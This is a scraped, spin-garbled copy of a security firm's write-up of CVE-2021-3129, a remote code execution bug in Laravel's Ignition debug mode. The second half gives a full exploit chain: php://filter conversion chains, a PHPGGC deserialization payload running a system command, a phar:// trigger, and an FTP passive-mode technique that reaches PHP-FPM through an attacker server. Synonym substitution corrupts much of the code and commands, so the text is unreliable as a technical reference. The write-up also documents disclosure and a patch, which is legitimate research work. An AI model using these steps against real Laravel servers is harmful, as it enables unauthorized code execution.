Could Not Open for Reading File Does Not Exist. Laravel

Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

In late November of 2020, during a security audit for 1 of our clients, nosotros came accross a website based on Laravel. While the site's security state was pretty good, nosotros remarked that information technology was running in debug style, thus displaying verbose error messages including stack traces:

1

Upon farther inspection, nosotros discovered that these stack traces were generated by Ignition, which were the default Laravel error folio generator starting at version 6. Having exhausted other vulnerability vectors, we started to accept a more precise look at this parcel.

Ignition <= 2.5.1

In addition to displaying beautiful stack traces, Ignition comes with solutions, small-scale snippets of code that solve problems that you might see while developping your application. For example, this is what happens if we apply an unknown variable in a template:

2

By clicking "Make variable Optional", the {{ $username }} in our template is automatically replaced past {{ $username ? '' }}. If we check our HTTP log, we can meet the endpoint that was invoked:

3

Forth with the solution classname, we ship a file path and a variable name that we want to replace. This looks interesting.

Let's first check the class name vector: can nosotros instanciate annihilation ?

                        form            SolutionProviderRepository            implements            SolutionProviderRepositoryContract            {            ...            public            function            getSolutionForClass            (            string            $solutionClass            )            :            ?            Solution            {            if            (            !            class_exists            (            $solutionClass            ))            {            return            null            ;            }            if            (            !            in_array            (            Solution            ::            class            ,            class_implements            (            $solutionClass            )))            {            return            null            ;            }            return            app            (            $solutionClass            );            }            }          

No: Ignition volition make certain the form we point to implements RunnableSolution.

Let's accept a closer look at the course, then. The code responsible for this is located in ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php. Maybe we can alter the contents of an arbitrary file ?

                        class            MakeViewVariableOptionalSolution            implements            RunnableSolution            {            ...            public            function            run            (            assortment            $parameters            =            [])            {            $output            =            $this            ->            makeOptional            (            $parameters            );            if            (            $output            !==            false            )            {            file_put_contents            (            $parameters            [            'viewFile'            ],            $output            );            }            }            public            office            makeOptional            (            array            $parameters            =            [])            {            $originalContents            =            file_get_contents            (            $parameters            [            'viewFile'            ]);            // [one]            $newContents            =            str_replace            (            '$'            .            $parameters            [            'variableName'            ],            '$'            .            $parameters            [            'variableName'            ]            .            " ?? ''"            ,            $originalContents            );            $originalTokens            =            token_get_all            (            Blade            ::            compileString            (            $originalContents            ));            // [2]            $newTokens            =            token_get_all            (            Bract            ::            compileString            (            $newContents            ));            $expectedTokens            =            $this            ->            generateExpectedTokens            (            $originalTokens            ,            $parameters            [            'variableName'            ]);            if            (            $expectedTokens            !==            $newTokens            )            {            // [iii]            return            imitation            ;            }            return            $newContents            ;            }            protected            function            generateExpectedTokens            (            assortment            $originalTokens            ,            string            $variableName            )            :            array            {            $expectedTokens            =            [];            foreach            (            $originalTokens            equally            $token            )            {            $expectedTokens            []            =            $token            ;            if            (            $token            [            0            ]            ===            T_VARIABLE            &&            $token            [            1            ]            ===            '$'            .            $variableName            )            {            $expectedTokens            []            =            [            T_WHITESPACE            ,            ' '            ,            $token            [            2            ]];            $expectedTokens            []            =            [            T_COALESCE            ,            '??'            ,            $token            [            2            ]];            $expectedTokens            []            =            [            T_WHITESPACE            ,            ' '            ,            $token            [            2            ]];            $expectedTokens            []            =            [            T_CONSTANT_ENCAPSED_STRING            ,            "''"            ,            $token            [            ii            ]];            }            }            return            $expectedTokens            ;            }            ...            }          

The code is a chip more complex than nosotros expected: after reading the given file path [one], and replacing $variableName past $variableName ?? '', both the initial file and the new one volition be tokenized [ii]. If the structure of the lawmaking did not change more than expected, the file will exist replaced with its new contents. Otherwise, makeOptional will return false [iii], and the new file won't be written. Hence, nosotros cannot do much using variableName.

The only input variable left is viewFile. If we make abstraction of variableName and all of its uses, we terminate upwardly with the following code snippet:

                        $contents            =            file_get_contents            (            $parameters            [            'viewFile'            ]);            file_put_contents            (            $parameters            [            'viewFile'            ],            $contents            );          

So we're writing the contents of viewFile back into viewFile, without whatsoever modification whatsoever. This does nothing !

Looks like we have a CTF on our hands.

Exploiting nothing

Nosotros came out with 2 solutions; if you desire to try it yourself before reading the rest of the weblog mail service, here'south how you fix your lab:

            $ git clone https://github.com/laravel/laravel.git $            cd            laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.i $ php artisan serve          

Log file to PHAR

PHP wrappers: changing a file

By now, everyone has probably heard of the upload progress technique demonstrated by Orange Tsai. It uses php://filter to change the contents of a file earlier information technology is returned. We tin use this to transform a file'southward contents using our exploit archaic:

            $            echo            test            |            base64            |            base64 > /path/to/file.txt $ cat /path/to/file.txt ZEdWemRBbz0K          
                        $f            =            'php://filter/convert.base64-decode/resources=/path/to/file.txt'            ;            # Reads /path/to/file.txt, base64-decodes it, returns the event            $contents            =            file_get_contents            (            $f            );            # Base64-decodes $contents, then writes the result to /path/to/file.txt            file_put_contents            (            $f            ,            $contents            );          
            $ cat /path/to/file.txt            exam          

We have changed the contents of the file ! Sadly, this applies the transformation twice. Reading the documentation shows united states a way to only apply it once:

                        # To base64-decode once, employ:            $f            =            'php://filter/read=catechumen.base64-decode/resources=/path/to/file.txt'            ;            # OR            $f            =            'php://filter/write=convert.base64-decode/resources=/path/to/file.txt'            ;          

Badchars will even be ignored:

            $            echo            ':;.!!!!!ZEdWemRBbz0K:;.!!!!!'            > /path/to/file.txt          
                        $f            =            'php://filter/read=convert.base64-decode|catechumen.base64-decode/resources=/path/to/file.txt'            ;            $contents            =            file_get_contents            (            $f            );            file_put_contents            (            $f            ,            $contents            );          
            $ cat /path/to/file.txt            exam          

Writing the log file

By default, Laravel's log file, which contains every PHP mistake and stack trace, is stored in storage/logs/laravel.log. Let'south generate an fault past trying to load a file that does not exist, SOME_TEXT_OF_OUR_CHOICE:

                        [            2021            -            01            -            11            12            :            39            :            44            ]            local            .            ERROR            :            file_get_contents            (            SOME_TEXT_OF_OUR_CHOICE            )            :            failed            to            open            stream            :            No            such            file            or            directory            {            "exception"            :            "[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open up stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)            [            stacktrace            ]            #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()            #1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()            #2 /piece of work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()            #3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(xix): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()            #4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()            [...]            #32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()            #33 /piece of work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()            #34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()            #35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()            #36 /piece of work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')            #37 {principal}            "}          

Superb, we tin inject (nearly) arbitrary content in a file. In theory, we could use Orange'south technique to catechumen the log file into a valid PHAR file, and so use the phar:// wrapper to run serialized lawmaking. Sadly, this won't piece of work, for a lot of reasons.

The base64-decode chain shows its limits

We said earlier that PHP will ignore any badchar when base64-decoding a cord. This is true, except for one character: =. If you use the base64-decode filter a string that contains a = in the eye, PHP volition yield an error and return zip.

This would be fine if we controlled the whole file. However, the text we inject into the log file is only a very small part of information technology. There is a decently sized prefix (the engagement), and a huge suffix (the stack trace) too. Furthermore, our injected text is nowadays twice !

Here'due south another horror:

                        php            >            var_dump            (            base64_decode            (            base64_decode            (            '            [            2022            -            04            -            xxx            23            :            59            :            11            ]            '            )));            string            (            0            )            ""            php            >            var_dump            (            base64_decode            (            base64_decode            (            '            [            2022            -            04            -            12            23            :            59            :            eleven            ]            '            )));            string            (            one            )            "2"          

Depending on the appointment, decoding the prefix twice yields a result which a unlike size. When we decode it a third time, in the second case, our payload volition be prefixed by two, changing the alignement of the base64 message.

In the cases were nosotros could make information technology work, nosotros'd take to build a new payload for each target, because the stack trace contains accented filenames, and a new payload every second, because the prefix contains the fourth dimension. And we'd still become blocked if a = managed to find its way into one of the many base64-decodes.

Nosotros therefore went back to the PHP doc to observe other kinds of filters.

Enters encoding

Permit's backtrack a little. The log file contains this:

                        [            previous            log            entries            ]            [            prefix            ]            PAYLOAD            [            midfix            ]            PAYLOAD            [            suffix            ]          

We have learned, regrettably, that spamming base64-decode would probably fail at some betoken. Permit's utilize it to our reward: if we spam it, a decoding error will happen, and the log file will get cleared !

Even amend, we can apply the (undocumented) "consumed" filter to achieve the same matter:

php://filter/read=consumed/resource=/path/to/file.txt

The next error nosotros cause will stand alone in the log file:

                        [            prefix            ]            PAYLOAD            [            midfix            ]            PAYLOAD            [            suffix            ]          

At present, we're back to our original problem: keeping a payload and removing the rest. Luckily, php://filter is non limited to base64 operations. You tin can use it to convert charsets, for instance. Here'south UTF-16 to UTF-8:

                        repeat            -ne            '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]'            > /tmp/test.txt          
                        php            >            echo            file_get_contents            (            'php://filter/read=catechumen.iconv.utf16le.utf-8/resource=/tmp/test.txt'            );            卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠          

This is really good: our payload is there, safety and sound, and the prefix and suffix became non-ASCII characters. Still, in log entries, our payload is displayed twice, not one time. We need to become rid of the second one.

Since UTF-16 works with 2 bytes, we tin misalign the second instance of PAYLOAD by adding one byte at its end:

                        echo            -ne            '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]'            > /tmp/test.txt          
                        php            >            echo            file_get_contents            (            'php://filter/read=convert.iconv.utf16le.utf-8/resources=/tmp/test.txt'            );            卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠          

The beautiful affair about this is that the alignment of the prefix does not affair anymore: if it is of fifty-fifty size, the commencement payload will exist decoded properly. If not, the second will.

We can at present combine our findings with the usual base64-decoding to encode whatever we want:

            $            repeat            -n Test!            |            base64            |            sed -E            's/./\0\\0/g'            Five\0E\0V\0T\0V\0C\0E\0            =            \0            $            echo            -ne            '[Some prefix ]5\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]'            > /tmp/test.txt          
                        php            >            echo            file_get_contents            (            'php://filter/read=convert.iconv.utf16le.utf-eight|convert.base64-decode/resource=/tmp/test.txt'            );            Test            !          

Talking nearly alignement, how would the conversion filter bear if the log file is not 2-byte aligned itself ?

                        PHP            Warning            :            file_get_contents            ()            :            iconv            stream            filter            (            "utf16le"            =>            "utf-viii"            )            :            invalid            multibyte            sequence            in            php            crush            code            on            line            1          

Again, a problem. We tin hands solve this one past ii payloads: a harmless payload A, and the active payload, B. We'd take:

                        [prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]            [prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]          

Since prefix, midfix and suffix are present twice, along with PAYLOAD_A and PAYLOAD_B, the log file would necessarily have an even size, avoiding the error.

Finally, nosotros accept a last problem to solve: we use NULL bytes to pad our payload bytes from one to two. Trying to load a file with a Nil byte in PHP results in the post-obit error:

            PHP Alarm:  file_get_contents() expects parameter 1 to be a valid path, string given in php crush lawmaking on line 1          

Therefore, nosotros won't be able to inject a payload with Zero bytes in the error log. Luckily, a final filter comes to the rescue: convert.quoted-printable-decode.

We can encode our NULL bytes using =00.

Here is our final conversion concatenation:

                        viewFile            :            php            ://            filter            /write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resources=/path/to/storage/logs/            laravel            .            log          

Complete exploit steps

Create a PHPGGC payload and encode it:

            php -d'phar.readonly=0'            ./phpggc monolog/rce1 organisation id --phar phar -o php://output            |            base64 -w0            |            sed -Due east            's/=+$//m'            |            sed -E            'due south/./\0=00/g'            U            =            00E            =            00s            =            00D            =            00B            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00I            =            00Q            =            00A            =            00M            =            00f            =            00n            =00/=            00Y            =            00B            =            00A            =            00A            =            00A            =            00A            =            00A            =            00Q            =            00A            =            00A            =            00A            =            00A            =            00F            =            00A            =            00B            =            00I            =            00A            =            00Z            =            00H            =            00V            =            00t            =            00b            =            00X            =            00l            =            00u            =            00d            =            00Q            =            004            =            00A            =            001            =            00U            =            00l            =            003            =            00t            =            00r            =            00Q            =            00B            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00B            =            000            =            00Z            =            00X            =            00N            =            000            =            00U            =            00E            =            00s            =            00D            =            00B            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00I            =            00Q            =            00A            =            007            =            00m            =            00z            =            00i            =            004            =            00H            =            00Q            =            00A            =            00A            =            00A            =            00B            =            000            =            00A            =            00A            =            00A            =            00A            =            00O            =            00A            =            00B            =            00I            =            00A            =            00L            =            00n            =            00B            =            00o            =            00Y            =            00X            =            00I            =            00v            =            00c            =            003            =            00R            =            001            =            00Y            =            00i            =            005            =            00w            =            00a            =            00H            =            00B            =            00u            =            00d            =            00Q            =            004            =            00A            =            00V            =            00y            =            00t            =            00B            =            00h            =            00L            =            00Y            =            00B            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            008            =            00P            =            003            =            00B            =            00o            =            00c            =            00C            =            00B            =            00f            =            00X            =            000            =            00h            =            00B            =            00T            =            00F            =            00R            =            00f            =            00Q            =            000            =            009            =            00N            =            00U            =            00E            =            00l            =            00M            =            00R            =            00V            =            00I            =            00o            =            00K            =            00T            =            00s            =            00g            =            00P            =            00z            =            004            =            00N            =            00C            =            00l            =            00B            =            00L            =            00A            =            00w            =            00Q            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00A            =            00C            =            00E            =            00A            =            00D            =            00H            =            005            =00/=            002            =            00A            =            00Q            =            00A            =            00A            =            00A            =00A...=            00Q            =00          

Clear logs:

                        viewFile            :            php            ://            filter            /read=consumed/resource=/path/to/storage/logs/            laravel            .            log          

Create outset log entry, for alignment:

Create log entry with payload:

                        viewFile            :            U            =            00            Due east            =            00            southward            =            00            D            =            00            B            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            A            =            00            I            =            00            Q            =            00            A            =            00            Thou            =            00            f            =            00            n            =            00            /=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/            =            002            =            00            A            =            00            Q            =            00            A            =            00            A            =            00            A            =            00            A            ...=            00            Q            =            00            ==            00            ==            00          

Use our filter to convert the log file into a valid PHAR:

                        viewFile            :            php            ://            filter            /write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-eight|convert.base64-decode/resource=/path/to/storage/logs/            laravel            .            log          

Launch the PHAR deserialization:

                        viewFile            :            phar            :///            path            /to/storage/logs/            laravel            .            log          

Result:

4

As an exploit:

5

Right subsequently confirming the assail in a local surround, we went on to examination it on our target, and it did not work. The log file had a different name. After hours spent trying to guess its name, we could non, and resorted to implementing some other set on. We probably should have checked this a fiddling flake alee of time.

Talking to PHP-FPM using FTP

Since nosotros could run file_get_contents for annihilation, we were able to browse common ports by issuing HTTP requests. PHP-FPM appeared to be listening on port 9000.

Information technology is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, yous tin execute lawmaking on the machine. This technique is often used in combination with the gopher:// protocol, which is supported by gyre, but non by PHP.

Some other protocol known for allowing y'all to send binary packets over TCP is FTP, and more precisely its passive way: if a client tries to read a file from (resp. write to) an FTP server, the server tin can tell the client to read (resp. write) the contents of the file onto a specific IP and port. There is no limitation as to what these IP and port tin can be. For instance, the server tin tell the client to connect to ane of its own ports if it wants to.

Now, if we endeavor to exploit the vulnerability with viewFile=ftp://evil-server.lexfo.fr/file.txt, here's what will happen:

  1. file_get_contents() connects to our FTP server, and downloads file.txt.
  2. file_put_contents() connects to our FTP server, and uploads information technology back to file.txt.

You probably know where this is going: we'll use the FTP protocol'south passive mode to brand file_get_contents() download a file on our server, and when it tries to upload it back using file_put_contents(), nosotros will tell it to send the file to 127.0.0.i:9000.

6 This graph was inspired by the hxp-2020 writeup from dfyz.

This allows us to send an capricious parcel to PHP-FPM, and therefore execute lawmaking.

This time, the exploitation succeeded on our target.

Conclusion

PHP is full of surprises: no other language would yield these vulns with the same two lines (although, to be fair, Perl would accept done information technology in one).

We reported the bug, forth with a patch, to the maintainers of Ignition on GitHub on the 16th of Nov 2020, and a new version (ii.five.2) was issued the adjacent 24-hour interval. Since it is a require-dev dependency of Laravel, we expect every instance installed later on this date to be safe.

An exploit for the commencement technique is bachelor hither: laravel-exploits.

Nosotros're hiring!

Ambionics is an entity of Lexfo, and nosotros're hiring! To acquire more about job opportunities, do not hesitate to contact united states at rh@lexfo.fr. We're a french-speaking company, so we expect candidates to be fluent in our beautiful linguistic communication.

Update on 2021-01-13

  • CVE-2021-3129 was assigned to the bug
  • Improved the description for the FTP exploit function, calculation a graph
  • Added the improved log-clearing method using consumed
  • Added exploit

smiththerecomed1949.blogspot.com

Source: https://www.ambionics.io/blog/laravel-debug-rce

0 Response to "Could Not Open for Reading File Does Not Exist. Laravel"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel